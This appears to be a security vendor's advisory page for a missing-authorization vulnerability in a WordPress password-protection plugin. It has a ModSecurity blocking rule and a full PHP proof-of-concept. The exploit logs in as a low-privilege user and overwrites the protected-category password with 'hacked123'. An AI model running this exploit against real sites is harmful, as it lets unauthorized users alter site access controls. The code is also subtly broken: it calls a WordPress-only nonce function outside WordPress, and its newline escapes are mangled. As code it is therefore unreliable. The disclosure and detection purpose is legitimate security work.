    SecRule ARGS_POST:action "@streq ppw_free_update_category_settings" "chain"
        SecRule &WEBAUTH_USER "@eq 0" "chain"
            SecRule WEBAUTH_USER:groups "!@contains administrators"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32562 - PPWP – Password Protect Pages <= 1.9.15 - Missing Authorization

<?php

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
$username = 'contributor_user';
$password = 'contributor_pass';

// Step 1: Authenticate to WordPress to obtain cookies
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$cookie_jar = tempnam(sys_get_temp_dir(), 'cve_2026_32562_cookie');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Exploit the missing authorization to update category settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
// The 'action' parameter triggers the vulnerable function ppw_free_update_category_settings
// The 'settings' parameter contains the configuration to be maliciously updated.
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'ppw_free_update_category_settings',
    'settings[ppwp_is_protect_category]' => 'true',
    'settings[ppwp_categories_password]' => 'hacked123', // Set a new shared password
    'settings[ppwp_protected_categories_selected][]' => '1', // Protect category ID 1
    'security_check' => wp_create_nonce('PPW_Constants::GENERAL_FORM_NONCE') // Nonce is required but not a sufficient authorization check
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Interpret the response
if ($http_code == 200 && trim($response) === 'true') {
    echo "[+] SUCCESS: Category settings updated by unauthorized user.n";
    echo "    The shared category password may have been changed to 'hacked123'.n";
} else {
    echo "[-] FAILED: Request was blocked or failed. HTTP Code: $http_coden";
    echo "    Response: $responsen";
}

unlink($cookie_jar);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School